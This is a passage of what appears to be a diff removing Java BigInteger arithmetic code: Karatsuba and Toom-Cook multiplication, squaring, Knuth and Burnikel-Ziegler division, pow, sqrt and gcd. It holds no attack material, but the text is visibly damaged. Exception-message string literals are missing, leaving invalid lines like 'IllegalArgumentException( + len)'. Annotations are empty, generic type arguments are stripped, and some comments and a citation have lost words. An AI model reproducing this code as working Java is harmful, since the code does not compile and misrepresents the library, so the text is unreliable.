- int[] result = multiplyToLen(mag, xlen, - val.mag, ylen, null); - result = trustedStripLeadingZeroInts(result); - return new BigInteger(result, resultSign); - } else { - if ((xlen < TOOM_COOK_THRESHOLD) && (ylen < TOOM_COOK_THRESHOLD)) { - return multiplyKaratsuba(this, val); - } else { - // - // In section 2-13, p.33, it is explained - // that if x and y are unsigned 32-bit quantities and m and n - // are their respective numbers of leading zeros within 32 bits, - // then the number of leading zeros within their product as a - // 64-bit unsigned quantity is either m + n or m + n + 1. If - // their product is not to overflow, it cannot exceed 32 bits, - // and so the number of leading zeros of the product within 64 - // bits must be at least 32, i.e., the leftmost set bit is at - // zero-relative position 31 or less. - // - // From the above there are three cases: - // - // m + n leftmost set bit condition - // ----- ---------------- --------- - // >= 32 x <= 64 - 32 = 32 no overflow - // == 31 x >= 64 - 32 = 32 possible overflow - // <= 30 x >= 64 - 31 = 33 definite overflow - // - // The condition cannot be detected by - // examning data lengths alone and requires further calculation. - // - // By analogy, if 'this' and 'val' have m and n as their - // respective numbers of leading zeros within 32*MAX_MAG_LENGTH - // bits, then: - // - // m + n >= 32*MAX_MAG_LENGTH no overflow - // m + n == 32*MAX_MAG_LENGTH - 1 possible overflow - // m + n <= 32*MAX_MAG_LENGTH - 2 definite overflow - // - // Note however that if the number of ints in the result - // were to be MAX_MAG_LENGTH and mag[0] < 0, then there would - // be overflow. As a result the leftmost bit (of mag[0]) cannot - // be used and the constraints must be adjusted by one bit to: - // - // m + n > 32*MAX_MAG_LENGTH no overflow - // m + n == 32*MAX_MAG_LENGTH possible overflow - // m + n < 32*MAX_MAG_LENGTH definite overflow - // - // The foregoing leading zero-based discussion is for clarity - // only. The actual calculations use the estimated bit length - // of the product as this is more natural to the internal - // array representation of the magnitude which has no leading - // zero elements. - // - if (!isRecursion) { - // The bitLength() instance method is not used here as we - // are only considering the magnitudes as non-negative. The - // Toom-Cook multiplication algorithm determines the sign - // at its end from the two signum values. - if ((long)bitLength(mag, mag.length) + - (long)bitLength(val.mag, val.mag.length) > - 32L*MAX_MAG_LENGTH) { - reportOverflow(); - } - } - - return multiplyToomCook3(this, val, parallel, depth); - } - } - } - - private static BigInteger multiplyByInt(int[] x, int y, int sign) { - if (Integer.bitCount(y) == 1) { - return new BigInteger(shiftLeft(x,Integer.numberOfTrailingZeros(y)), sign); - } - int xlen = x.length; - int[] rmag = new int[xlen + 1]; - long carry = 0; - long yl = y & LONG_MASK; - int rstart = rmag.length - 1; - for (int i = xlen - 1; i >= 0; i--) { - long product = (x[i] & LONG_MASK) * yl + carry; - rmag[rstart--] = (int)product; - carry = product >>> 32; - } - if (carry == 0L) { - rmag = java.util.Arrays.copyOfRange(rmag, 1, rmag.length); - } else { - rmag[rstart] = (int)carry; - } - return new BigInteger(rmag, sign); - } - - /** - * Package private methods used by BigDecimal code to multiply a BigInteger - * with a long. Assumes v is not equal to INFLATED. - */ - BigInteger multiply(long v) { - if (v == 0 || signum == 0) - return ZERO; - if (v == BigDecimal.INFLATED) - return multiply(BigInteger.valueOf(v)); - int rsign = (v > 0 ? signum : -signum); - if (v < 0) - v = -v; - long dh = v >>> 32; // higher order bits - long dl = v & LONG_MASK; // lower order bits - - int xlen = mag.length; - int[] value = mag; - int[] rmag = (dh == 0L) ? (new int[xlen + 1]) : (new int[xlen + 2]); - long carry = 0; - int rstart = rmag.length - 1; - for (int i = xlen - 1; i >= 0; i--) { - long product = (value[i] & LONG_MASK) * dl + carry; - rmag[rstart--] = (int)product; - carry = product >>> 32; - } - rmag[rstart] = (int)carry; - if (dh != 0L) { - carry = 0; - rstart = rmag.length - 2; - for (int i = xlen - 1; i >= 0; i--) { - long product = (value[i] & LONG_MASK) * dh + - (rmag[rstart] & LONG_MASK) + carry; - rmag[rstart--] = (int)product; - carry = product >>> 32; - } - rmag[0] = (int)carry; - } - if (carry == 0L) - rmag = java.util.Arrays.copyOfRange(rmag, 1, rmag.length); - return new BigInteger(rmag, rsign); - } - - /** - * Multiplies int arrays x and y to the specified lengths and places - * the result into z. There will be no leading zeros in the resultant array. - */ - private static int[] multiplyToLen(int[] x, int xlen, int[] y, int ylen, int[] z) { - multiplyToLenCheck(x, xlen); - multiplyToLenCheck(y, ylen); - return implMultiplyToLen(x, xlen, y, ylen, z); - } - - @IntrinsicCandidate - private static int[] implMultiplyToLen(int[] x, int xlen, int[] y, int ylen, int[] z) { - int xstart = xlen - 1; - int ystart = ylen - 1; - - if (z == null || z.length < (xlen+ ylen)) - z = new int[xlen+ylen]; - - long carry = 0; - for (int j=ystart, k=ystart+1+xstart; j >= 0; j--, k--) { - long product = (y[j] & LONG_MASK) * - (x[xstart] & LONG_MASK) + carry; - z[k] = (int)product; - carry = product >>> 32; - } - z[xstart] = (int)carry; - - for (int i = xstart-1; i >= 0; i--) { - carry = 0; - for (int j=ystart, k=ystart+1+i; j >= 0; j--, k--) { - long product = (y[j] & LONG_MASK) * - (x[i] & LONG_MASK) + - (z[k] & LONG_MASK) + carry; - z[k] = (int)product; - carry = product >>> 32; - } - z[i] = (int)carry; - } - return z; - } - - private static void multiplyToLenCheck(int[] array, int length) { - if (length <= 0) { - return; // not an error because multiplyToLen won't execute if len <= 0 - } - - Objects.requireNonNull(array); - - if (length > array.length) { - throw new ArrayIndexOutOfBoundsException(length - 1); - } - } - - /** - * Multiplies two BigIntegers using the Karatsuba multiplication - * algorithm. This is a recursive divide-and-conquer algorithm which is - * more efficient for large numbers than what is commonly called the - * algorithm used in multiplyToLen. If the numbers to be - * multiplied have length n, the algorithm has an - * asymptotic complexity of O(n^2). In contrast, the Karatsuba algorithm - * has complexity of O(n^(log2(3))), or O(n^1.585). It achieves this - * increased performance by doing 3 multiplies instead of 4 when - * evaluating the product. As it has some overhead, should be used when - * both numbers are larger than a certain threshold (found - * experimentally). - * - * See: http://en.wikipedia.org/wiki/Karatsuba_algorithm - */ - private static BigInteger multiplyKaratsuba(BigInteger x, BigInteger y) { - int xlen = x.mag.length; - int ylen = y.mag.length; - - // The number of ints in each half of the number. - int half = (Math.max(xlen, ylen)+1) / 2; - - // xl and yl are the lower halves of x and y respectively, - // xh and yh are the upper halves. - BigInteger xl = x.getLower(half); - BigInteger xh = x.getUpper(half); - BigInteger yl = y.getLower(half); - BigInteger yh = y.getUpper(half); - - BigInteger p1 = xh.multiply(yh); // p1 = xh*yh - BigInteger p2 = xl.multiply(yl); // p2 = xl*yl - - // p3=(xh+xl)*(yh+yl) - BigInteger p3 = xh.add(xl).multiply(yh.add(yl)); - - // result = p1 * 2^(32*2*half) + (p3 - p1 - p2) * 2^(32*half) + p2 - BigInteger result = p1.shiftLeft(32*half).add(p3.subtract(p1).subtract(p2)).shiftLeft(32*half).add(p2); - - if (x.signum != y.signum) { - return result.negate(); - } else { - return result; - } - } - - @SuppressWarnings() - private abstract static sealed class RecursiveOp extends RecursiveTask { - /** - * The threshold until when we should continue forking recursive ops - * if parallel is true. This threshold is only relevant for Toom Cook 3 - * multiply and square. - */ - private static final int PARALLEL_FORK_DEPTH_THRESHOLD = - calculateMaximumDepth(ForkJoinPool.getCommonPoolParallelism()); - - private static final int calculateMaximumDepth(int parallelism) { - return 32 - Integer.numberOfLeadingZeros(parallelism); - } - - final boolean parallel; - /** - * The current recursing depth. Since it is a logarithmic algorithm, - * we do not need an int to hold the number. - */ - final byte depth; - - private RecursiveOp(boolean parallel, int depth) { - this.parallel = parallel; - this.depth = (byte) depth; - } - - private static int getParallelForkDepthThreshold() { - if (Thread.currentThread() instanceof ForkJoinWorkerThread fjwt) { - return calculateMaximumDepth(fjwt.getPool().getParallelism()); - } - else { - return PARALLEL_FORK_DEPTH_THRESHOLD; - } - } - - protected RecursiveTask forkOrInvoke() { - if (parallel && depth <= getParallelForkDepthThreshold()) fork(); - else invoke(); - return this; - } - - @SuppressWarnings() - private static final class RecursiveMultiply extends RecursiveOp { - private final BigInteger a; - private final BigInteger b; - - public RecursiveMultiply(BigInteger a, BigInteger b, boolean parallel, int depth) { - super(parallel, depth); - this.a = a; - this.b = b; - } - - @Override - public BigInteger compute() { - return a.multiply(b, true, parallel, depth); - } - } - - @SuppressWarnings() - private static final class RecursiveSquare extends RecursiveOp { - private final BigInteger a; - - public RecursiveSquare(BigInteger a, boolean parallel, int depth) { - super(parallel, depth); - this.a = a; - } - - @Override - public BigInteger compute() { - return a.square(true, parallel, depth); - } - } - - private static RecursiveTask multiply(BigInteger a, BigInteger b, boolean parallel, int depth) { - return new RecursiveMultiply(a, b, parallel, depth).forkOrInvoke(); - } - - private static RecursiveTask square(BigInteger a, boolean parallel, int depth) { - return new RecursiveSquare(a, parallel, depth).forkOrInvoke(); - } - } - - /** - * Multiplies two BigIntegers using a 3-way Toom-Cook multiplication - * algorithm. This is a recursive divide-and-conquer algorithm which is - * more efficient for large numbers than what is commonly called the - * algorithm used in multiplyToLen. If the numbers to be - * multiplied have length n, the algorithm has an - * asymptotic complexity of O(n^2). In contrast, 3-way Toom-Cook has a - * complexity of about O(n^1.465). It achieves this increased asymptotic - * performance by breaking each number into three parts and by doing 5 - * multiplies instead of 9 when evaluating the product. Due to overhead - * (additions, shifts, and one division) in the Toom-Cook algorithm, it - * should only be used when both numbers are larger than a certain - * threshold (found experimentally). This threshold is generally larger - * than that for Karatsuba multiplication, so this algorithm is generally - * only used when numbers become significantly larger. - * - * The algorithm used is the 3-way Toom-Cook algorithm outlined - * by Marco Bodrato. - * - * See: http://bodrato.it/toom-cook/ - * http://bodrato.it/papers/#WAIFI2007 - * - * "Towards Optimal Toom-Cook Multiplication for Univariate and - * Multivariate Polynomials in Characteristic 2 and 0." by Marco BODRATO; - * In C.Carlet and B.Sunar, Eds., , p. 116-133, - * LNCS #4547. Springer, Madrid, Spain, June 21-22, 2007. - * - */ - private static BigInteger multiplyToomCook3(BigInteger a, BigInteger b, boolean parallel, int depth) { - int alen = a.mag.length; - int blen = b.mag.length; - - int largest = Math.max(alen, blen); - - // k is the size (in ints) of the lower-order slices. - int k = (largest+2)/3; // Equal to ceil(largest/3) - - // r is the size (in ints) of the highest-order slice. - int r = largest - 2*k; - - // Obtain slices of the numbers. a2 and b2 are the most significant - // bits of the numbers a and b, and a0 and b0 the least significant. - BigInteger a0, a1, a2, b0, b1, b2; - a2 = a.getToomSlice(k, r, 0, largest); - a1 = a.getToomSlice(k, r, 1, largest); - a0 = a.getToomSlice(k, r, 2, largest); - b2 = b.getToomSlice(k, r, 0, largest); - b1 = b.getToomSlice(k, r, 1, largest); - b0 = b.getToomSlice(k, r, 2, largest); - - BigInteger v0, v1, v2, vm1, vinf, t1, t2, tm1, da1, db1; - - depth++; - var v0_task = RecursiveOp.multiply(a0, b0, parallel, depth); - da1 = a2.add(a0); - db1 = b2.add(b0); - var vm1_task = RecursiveOp.multiply(da1.subtract(a1), db1.subtract(b1), parallel, depth); - da1 = da1.add(a1); - db1 = db1.add(b1); - var v1_task = RecursiveOp.multiply(da1, db1, parallel, depth); - v2 = da1.add(a2).shiftLeft(1).subtract(a0).multiply( - db1.add(b2).shiftLeft(1).subtract(b0), true, parallel, depth); - vinf = a2.multiply(b2, true, parallel, depth); - v0 = v0_task.join(); - vm1 = vm1_task.join(); - v1 = v1_task.join(); - - // The algorithm requires two divisions by 2 and one by 3. - // All divisions are known to be exact, that is, they do not produce - // remainders, and all results are positive. The divisions by 2 are - // implemented as right shifts which are relatively efficient, leaving - // only an exact division by 3, which is done by a specialized - // linear-time algorithm. - t2 = v2.subtract(vm1).exactDivideBy3(); - tm1 = v1.subtract(vm1).shiftRight(1); - t1 = v1.subtract(v0); - t2 = t2.subtract(t1).shiftRight(1); - t1 = t1.subtract(tm1).subtract(vinf); - t2 = t2.subtract(vinf.shiftLeft(1)); - tm1 = tm1.subtract(t2); - - // Number of bits to shift left. - int ss = k*32; - - BigInteger result = vinf.shiftLeft(ss).add(t2).shiftLeft(ss).add(t1).shiftLeft(ss).add(tm1).shiftLeft(ss).add(v0); - - if (a.signum != b.signum) { - return result.negate(); - } else { - return result; - } - } - - - /** - * Returns a slice of a BigInteger for use in Toom-Cook multiplication. - * - * @param lowerSize The size of the lower-order bit slices. - * @param upperSize The size of the higher-order bit slices. - * @param slice The index of which slice is requested, which must be a - * number from 0 to size-1. Slice 0 is the highest-order bits, and slice - * size-1 are the lowest-order bits. Slice 0 may be of different size than - * the other slices. - * @param fullsize The size of the larger integer array, used to align - * slices to the appropriate position when multiplying different-sized - * numbers. - */ - private BigInteger getToomSlice(int lowerSize, int upperSize, int slice, - int fullsize) { - int start, end, sliceSize, len, offset; - - len = mag.length; - offset = fullsize - len; - - if (slice == 0) { - start = 0 - offset; - end = upperSize - 1 - offset; - } else { - start = upperSize + (slice-1)*lowerSize - offset; - end = start + lowerSize - 1; - } - - if (start < 0) { - start = 0; - } - if (end < 0) { - return ZERO; - } - - sliceSize = (end-start) + 1; - - if (sliceSize <= 0) { - return ZERO; - } - - // While performing Toom-Cook, all slices are positive and - // the sign is adjusted when the final number is composed. - if (start == 0 && sliceSize >= len) { - return this.abs(); - } - - int intSlice[] = new int[sliceSize]; - System.arraycopy(mag, start, intSlice, 0, sliceSize); - - return new BigInteger(trustedStripLeadingZeroInts(intSlice), 1); - } - - /** - * Does an exact division (that is, the remainder is known to be zero) - * of the specified number by 3. This is used in Toom-Cook - * multiplication. This is an efficient algorithm that runs in linear - * time. If the argument is not exactly divisible by 3, results are - * undefined. Note that this is expected to be called with positive - * arguments only. - */ - private BigInteger exactDivideBy3() { - int len = mag.length; - int[] result = new int[len]; - long x, w, q, borrow; - borrow = 0L; - for (int i=len-1; i >= 0; i--) { - x = (mag[i] & LONG_MASK); - w = x - borrow; - if (borrow > x) { // Did we make the number go negative? - borrow = 1L; - } else { - borrow = 0L; - } - - // 0xAAAAAAAB is the modular inverse of 3 (mod 2^32). Thus, - // the effect of this is to divide by 3 (mod 2^32). - // This is much faster than division on most architectures. - q = (w * 0xAAAAAAABL) & LONG_MASK; - result[i] = (int) q; - - // Now check the borrow. The second check can of course be - // eliminated if the first fails. - if (q >= 0x55555556L) { - borrow++; - if (q >= 0xAAAAAAABL) - borrow++; - } - } - result = trustedStripLeadingZeroInts(result); - return new BigInteger(result, signum); - } - - /** - * Returns a new BigInteger representing n lower ints of the number. - * This is used by Karatsuba multiplication and Karatsuba squaring. - */ - private BigInteger getLower(int n) { - int len = mag.length; - - if (len <= n) { - return abs(); - } - - int lowerInts[] = new int[n]; - System.arraycopy(mag, len-n, lowerInts, 0, n); - - return new BigInteger(trustedStripLeadingZeroInts(lowerInts), 1); - } - - /** - * Returns a new BigInteger representing mag.length-n upper - * ints of the number. This is used by Karatsuba multiplication and - * Karatsuba squaring. - */ - private BigInteger getUpper(int n) { - int len = mag.length; - - if (len <= n) { - return ZERO; - } - - int upperLen = len - n; - int upperInts[] = new int[upperLen]; - System.arraycopy(mag, 0, upperInts, 0, upperLen); - - return new BigInteger(trustedStripLeadingZeroInts(upperInts), 1); - } - - // Squaring - - /** - * Returns a BigInteger whose value is (this2). - * - * @return this2 - */ - private BigInteger square() { - return square(false, false, 0); - } - - /** - * Returns a BigInteger whose value is (this2). If - * the invocation is recursive certain overflow checks are skipped. - * - * @param isRecursion whether this is a recursive invocation - * @return this2 - */ - private BigInteger square(boolean isRecursion, boolean parallel, int depth) { - if (signum == 0) { - return ZERO; - } - int len = mag.length; - - if (len < KARATSUBA_SQUARE_THRESHOLD) { - int[] z = squareToLen(mag, len, null); - return new BigInteger(trustedStripLeadingZeroInts(z), 1); - } else { - if (len < TOOM_COOK_SQUARE_THRESHOLD) { - return squareKaratsuba(); - } else { - // - // For a discussion of overflow detection see multiply() - // - if (!isRecursion) { - if (bitLength(mag, mag.length) > 16L*MAX_MAG_LENGTH) { - reportOverflow(); - } - } - - return squareToomCook3(parallel, depth); - } - } - } - - /** - * Squares the contents of the int array x. The result is placed into the - * int array z. The contents of x are not changed. - */ - private static final int[] squareToLen(int[] x, int len, int[] z) { - int zlen = len << 1; - if (z == null || z.length < zlen) - z = new int[zlen]; - - // Execute checks before calling intrinsified method. - implSquareToLenChecks(x, len, z, zlen); - return implSquareToLen(x, len, z, zlen); - } - - /** - * Parameters validation. - */ - private static void implSquareToLenChecks(int[] x, int len, int[] z, int zlen) throws RuntimeException { - if (len < 1) { - throw new IllegalArgumentException( + len); - } - if (len > x.length) { - throw new IllegalArgumentException( + - len + + x.length); - } - if (len * 2 > z.length) { - throw new IllegalArgumentException( + - (len * 2) + + z.length); - } - if (zlen < 1) { - throw new IllegalArgumentException( + zlen); - } - if (zlen > z.length) { - throw new IllegalArgumentException( + - len + + z.length); - } - } - - /** - * Java Runtime may use intrinsic for this method. - */ - @IntrinsicCandidate - private static final int[] implSquareToLen(int[] x, int len, int[] z, int zlen) { - /* - * The algorithm used here is adapted from Colin Plumb's C library. - * Technique: Consider the partial products in the multiplication - * of by itself: - * - * a b c d e - * * a b c d e - * ================== - * ae be ce de ee - * ad bd cd dd de - * ac bc cc cd ce - * ab bb bc bd be - * aa ab ac ad ae - * - * Note that everything above the main diagonal: - * ae be ce de = (abcd) * e - * ad bd cd = (abc) * d - * ac bc = (ab) * c - * ab = (a) * b - * - * is a copy of everything below the main diagonal: - * de - * cd ce - * bc bd be - * ab ac ad ae - * - * Thus, the sum is 2 * (off the diagonal) + diagonal. - * - * This is accumulated beginning with the diagonal (which - * consist of the squares of the digits of the input), which is then - * divided by two, the off-diagonal added, and multiplied by two - * again. The low bit is simply a copy of the low bit of the - * input, so it doesn't need special care. - */ - - // Store the squares, right shifted one bit (i.e., divided by 2) - int lastProductLowWord = 0; - for (int j=0, i=0; j < len; j++) { - long piece = (x[j] & LONG_MASK); - long product = piece * piece; - z[i++] = (lastProductLowWord << 31) | (int)(product >>> 33); - z[i++] = (int)(product >>> 1); - lastProductLowWord = (int)product; - } - - // Add in off-diagonal sums - for (int i=len, offset=1; i > 0; i--, offset+=2) { - int t = x[i-1]; - t = mulAdd(z, x, offset, i-1, t); - addOne(z, offset-1, i, t); - } - - // Shift back up and set low bit - primitiveLeftShift(z, zlen, 1); - z[zlen-1] |= x[len-1] & 1; - - return z; - } - - /** - * Squares a BigInteger using the Karatsuba squaring algorithm. It should - * be used when both numbers are larger than a certain threshold (found - * experimentally). It is a recursive divide-and-conquer algorithm that - * has better asymptotic performance than the algorithm used in - * squareToLen. - */ - private BigInteger squareKaratsuba() { - int half = (mag.length+1) / 2; - - BigInteger xl = getLower(half); - BigInteger xh = getUpper(half); - - BigInteger xhs = xh.square(); // xhs = xh^2 - BigInteger xls = xl.square(); // xls = xl^2 - - // xh^2 << 64 + (((xl+xh)^2 - (xh^2 + xl^2)) << 32) + xl^2 - return xhs.shiftLeft(half*32).add(xl.add(xh).square().subtract(xhs.add(xls))).shiftLeft(half*32).add(xls); - } - - /** - * Squares a BigInteger using the 3-way Toom-Cook squaring algorithm. It - * should be used when both numbers are larger than a certain threshold - * (found experimentally). It is a recursive divide-and-conquer algorithm - * that has better asymptotic performance than the algorithm used in - * squareToLen or squareKaratsuba. - */ - private BigInteger squareToomCook3(boolean parallel, int depth) { - int len = mag.length; - - // k is the size (in ints) of the lower-order slices. - int k = (len+2)/3; // Equal to ceil(largest/3) - - // r is the size (in ints) of the highest-order slice. - int r = len - 2*k; - - // Obtain slices of the numbers. a2 is the most significant - // bits of the number, and a0 the least significant. - BigInteger a0, a1, a2; - a2 = getToomSlice(k, r, 0, len); - a1 = getToomSlice(k, r, 1, len); - a0 = getToomSlice(k, r, 2, len); - BigInteger v0, v1, v2, vm1, vinf, t1, t2, tm1, da1; - - depth++; - var v0_fork = RecursiveOp.square(a0, parallel, depth); - da1 = a2.add(a0); - var vm1_fork = RecursiveOp.square(da1.subtract(a1), parallel, depth); - da1 = da1.add(a1); - var v1_fork = RecursiveOp.square(da1, parallel, depth); - vinf = a2.square(true, parallel, depth); - v2 = da1.add(a2).shiftLeft(1).subtract(a0).square(true, parallel, depth); - v0 = v0_fork.join(); - vm1 = vm1_fork.join(); - v1 = v1_fork.join(); - - // The algorithm requires two divisions by 2 and one by 3. - // All divisions are known to be exact, that is, they do not produce - // remainders, and all results are positive. The divisions by 2 are - // implemented as right shifts which are relatively efficient, leaving - // only a division by 3. - // The division by 3 is done by an optimized algorithm for this case. - t2 = v2.subtract(vm1).exactDivideBy3(); - tm1 = v1.subtract(vm1).shiftRight(1); - t1 = v1.subtract(v0); - t2 = t2.subtract(t1).shiftRight(1); - t1 = t1.subtract(tm1).subtract(vinf); - t2 = t2.subtract(vinf.shiftLeft(1)); - tm1 = tm1.subtract(t2); - - // Number of bits to shift left. - int ss = k*32; - - return vinf.shiftLeft(ss).add(t2).shiftLeft(ss).add(t1).shiftLeft(ss).add(tm1).shiftLeft(ss).add(v0); - } - - // Division - - /** - * Returns a BigInteger whose value is {@code (this / val)}. - * - * @param val value by which this BigInteger is to be divided. - * @return {@code this / val} - * @throws ArithmeticException if {@code val} is zero. - */ - public BigInteger divide(BigInteger val) { - if (val.mag.length < BURNIKEL_ZIEGLER_THRESHOLD || - mag.length - val.mag.length < BURNIKEL_ZIEGLER_OFFSET) { - return divideKnuth(val); - } else { - return divideBurnikelZiegler(val); - } - } - - /** - * Returns a BigInteger whose value is {@code (this / val)} using an O(n^2) algorithm from Knuth. - * - * @param val value by which this BigInteger is to be divided. - * @return {@code this / val} - * @throws ArithmeticException if {@code val} is zero. - * @see MutableBigInteger#divideKnuth(MutableBigInteger, MutableBigInteger, boolean) - */ - private BigInteger divideKnuth(BigInteger val) { - MutableBigInteger q = new MutableBigInteger(), - a = new MutableBigInteger(this.mag), - b = new MutableBigInteger(val.mag); - - a.divideKnuth(b, q, false); - return q.toBigInteger(this.signum * val.signum); - } - - /** - * Returns an array of two BigIntegers containing {@code (this / val)} - * followed by {@code (this % val)}. - * - * @param val value by which this BigInteger is to be divided, and the - * remainder computed. - * @return an array of two BigIntegers: the quotient {@code (this / val)} - * is the initial element, and the remainder {@code (this % val)} - * is the final element. - * @throws ArithmeticException if {@code val} is zero. - */ - public BigInteger[] divideAndRemainder(BigInteger val) { - if (val.mag.length < BURNIKEL_ZIEGLER_THRESHOLD || - mag.length - val.mag.length < BURNIKEL_ZIEGLER_OFFSET) { - return divideAndRemainderKnuth(val); - } else { - return divideAndRemainderBurnikelZiegler(val); - } - } - - /** Long division */ - private BigInteger[] divideAndRemainderKnuth(BigInteger val) { - BigInteger[] result = new BigInteger[2]; - MutableBigInteger q = new MutableBigInteger(), - a = new MutableBigInteger(this.mag), - b = new MutableBigInteger(val.mag); - MutableBigInteger r = a.divideKnuth(b, q); - result[0] = q.toBigInteger(this.signum == val.signum ? 1 : -1); - result[1] = r.toBigInteger(this.signum); - return result; - } - - /** - * Returns a BigInteger whose value is {@code (this % val)}. - * - * @param val value by which this BigInteger is to be divided, and the - * remainder computed. - * @return {@code this % val} - * @throws ArithmeticException if {@code val} is zero. - */ - public BigInteger remainder(BigInteger val) { - if (val.mag.length < BURNIKEL_ZIEGLER_THRESHOLD || - mag.length - val.mag.length < BURNIKEL_ZIEGLER_OFFSET) { - return remainderKnuth(val); - } else { - return remainderBurnikelZiegler(val); - } - } - - /** Long division */ - private BigInteger remainderKnuth(BigInteger val) { - MutableBigInteger q = new MutableBigInteger(), - a = new MutableBigInteger(this.mag), - b = new MutableBigInteger(val.mag); - - return a.divideKnuth(b, q).toBigInteger(this.signum); - } - - /** - * Calculates {@code this / val} using the Burnikel-Ziegler algorithm. - * @param val the divisor - * @return {@code this / val} - */ - private BigInteger divideBurnikelZiegler(BigInteger val) { - return divideAndRemainderBurnikelZiegler(val)[0]; - } - - /** - * Calculates {@code this % val} using the Burnikel-Ziegler algorithm. - * @param val the divisor - * @return {@code this % val} - */ - private BigInteger remainderBurnikelZiegler(BigInteger val) { - return divideAndRemainderBurnikelZiegler(val)[1]; - } - - /** - * Computes {@code this / val} and {@code this % val} using the - * Burnikel-Ziegler algorithm. - * @param val the divisor - * @return an array containing the quotient and remainder - */ - private BigInteger[] divideAndRemainderBurnikelZiegler(BigInteger val) { - MutableBigInteger q = new MutableBigInteger(); - MutableBigInteger r = new MutableBigInteger(this).divideAndRemainderBurnikelZiegler(new MutableBigInteger(val), q); - BigInteger qBigInt = q.isZero() ? ZERO : q.toBigInteger(signum*val.signum); - BigInteger rBigInt = r.isZero() ? ZERO : r.toBigInteger(signum); - return new BigInteger[] {qBigInt, rBigInt}; - } - - /** - * Returns a BigInteger whose value is (thisexponent). - * Note that {@code exponent} is an integer rather than a BigInteger. - * - * @param exponent exponent to which this BigInteger is to be raised. - * @return thisexponent - * @throws ArithmeticException {@code exponent} is negative. (This would - * cause the operation to yield a non-integer value.) - */ - public BigInteger pow(int exponent) { - if (exponent < 0) { - throw new ArithmeticException(); - } - if (signum == 0) { - return (exponent == 0 ? ONE : this); - } - - BigInteger partToSquare = this.abs(); - - // Factor out powers of two from the base, as the exponentiation of - // these can be done by left shifts only. - // The remaining part can then be exponentiated faster. The - // powers of two will be multiplied back at the end. - int powersOfTwo = partToSquare.getLowestSetBit(); - long bitsToShiftLong = (long)powersOfTwo * exponent; - if (bitsToShiftLong > Integer.MAX_VALUE) { - reportOverflow(); - } - int bitsToShift = (int)bitsToShiftLong; - - int remainingBits; - - // Factor the powers of two out quickly by shifting right, if needed. - if (powersOfTwo > 0) { - partToSquare = partToSquare.shiftRight(powersOfTwo); - remainingBits = partToSquare.bitLength(); - if (remainingBits == 1) { // Nothing left but +/- 1? - if (signum < 0 && (exponent&1) == 1) { - return NEGATIVE_ONE.shiftLeft(bitsToShift); - } else { - return ONE.shiftLeft(bitsToShift); - } - } - } else { - remainingBits = partToSquare.bitLength(); - if (remainingBits == 1) { // Nothing left but +/- 1? - if (signum < 0 && (exponent&1) == 1) { - return NEGATIVE_ONE; - } else { - return ONE; - } - } - } - - // This is a quick way to approximate the size of the result, - // similar to doing log2[n] * exponent. This will give an upper bound - // of how big the result can be, and which algorithm to use. - long scaleFactor = (long)remainingBits * exponent; - - // Use slightly different algorithms for small and large operands. - // See if the result will safely fit into a long. (Largest 2^63-1) - if (partToSquare.mag.length == 1 && scaleFactor <= 62) { - // Small number algorithm. Everything fits into a long. - int newSign = (signum <0 && (exponent&1) == 1 ? -1 : 1); - long result = 1; - long baseToPow2 = partToSquare.mag[0] & LONG_MASK; - - int workingExponent = exponent; - - // Perform exponentiation using repeated squaring trick - while (workingExponent != 0) { - if ((workingExponent & 1) == 1) { - result = result * baseToPow2; - } - - if ((workingExponent >>>= 1) != 0) { - baseToPow2 = baseToPow2 * baseToPow2; - } - } - - // Multiply back the powers of two (quickly, by shifting left) - if (powersOfTwo > 0) { - if (bitsToShift + scaleFactor <= 62) { // Fits in long? - return valueOf((result << bitsToShift) * newSign); - } else { - return valueOf(result*newSign).shiftLeft(bitsToShift); - } - } else { - return valueOf(result*newSign); - } - } else { - if ((long)bitLength() * exponent / Integer.SIZE > MAX_MAG_LENGTH) { - reportOverflow(); - } - - // Large number algorithm. This is basically identical to - // the algorithm above, but calls multiply() and square() - // which may use more efficient algorithms for large numbers. - BigInteger answer = ONE; - - int workingExponent = exponent; - // Perform exponentiation using repeated squaring trick - while (workingExponent != 0) { - if ((workingExponent & 1) == 1) { - answer = answer.multiply(partToSquare); - } - - if ((workingExponent >>>= 1) != 0) { - partToSquare = partToSquare.square(); - } - } - // Multiply back the (exponentiated) powers of two (quickly, - // by shifting left) - if (powersOfTwo > 0) { - answer = answer.shiftLeft(bitsToShift); - } - - if (signum < 0 && (exponent&1) == 1) { - return answer.negate(); - } else { - return answer; - } - } - } - - /** - * Returns the integer square root of this BigInteger. The integer square - * root of the corresponding mathematical integer {@code n} is the largest - * mathematical integer {@code s} such that {@code s*s <= n}. It is equal - * to the value of {@code floor(sqrt(n))}, where {@code sqrt(n)} denotes the - * real square root of {@code n} treated as a real. Note that the integer - * square root will be less than the real square root if the latter is not - * representable as an integral value. - * - * @return the integer square root of {@code this} - * @throws ArithmeticException if {@code this} is negative. (The square - * root of a negative integer {@code val} is - * {@code (i * sqrt(-val))} where i is the - * imaginary unit and is equal to - * {@code sqrt(-1)}.) - * @since 9 - */ - public BigInteger sqrt() { - if (this.signum < 0) { - throw new ArithmeticException(); - } - - return new MutableBigInteger(this.mag).sqrt().toBigInteger(); - } - - /** - * Returns an array of two BigIntegers containing the integer square root - * {@code s} of {@code this} and its remainder {@code this - s*s}, - * respectively. - * - * @return an array of two BigIntegers with the integer square root at - * offset 0 and the remainder at offset 1 - * @throws ArithmeticException if {@code this} is negative. (The square - * root of a negative integer {@code val} is - * {@code (i * sqrt(-val))} where i is the - * imaginary unit and is equal to - * {@code sqrt(-1)}.) - * @see #sqrt() - * @since 9 - */ - public BigInteger[] sqrtAndRemainder() { - BigInteger s = sqrt(); - BigInteger r = this.subtract(s.square()); - assert r.compareTo(BigInteger.ZERO) >= 0; - return new BigInteger[] {s, r}; - } - - /** - * Returns a BigInteger whose value is the greatest common divisor of - * {@code abs(this)} and {@code abs(val)}. Returns 0 if - * {@code this == 0 && val == 0}. - * - * @param val value with which the GCD is to be computed. - * @return {@code GCD(abs(this), abs(val))} - */ - public BigInteger gcd(BigInteger val) { - if (val.signum == 0) - return this.abs(); - else if (this.signum == 0) - return val.abs(); - - MutableBigInteger a = new MutableBigInteger(this); - MutableBigInteger b = new MutableBigInteger(val); - - MutableBigInteger result = a.hybridGCD(b); - - return result.toBigInteger(1); - } - - /** - * Package private method to return bit length for an integer. - */ - static int bitLengthForInt(int n) { - return 32 - Integer.numberOfLeadingZeros(n); - } - - /** - * Left shift int array a up to len by n bits. Returns the array that - * results from the shift since space may have to be reallocated. - */ - private static int[] leftShift(int[] a, int len, int n) { - int nInts = n >>> 5; - int nBits = n&0x1F; - int bitsInHighWord = 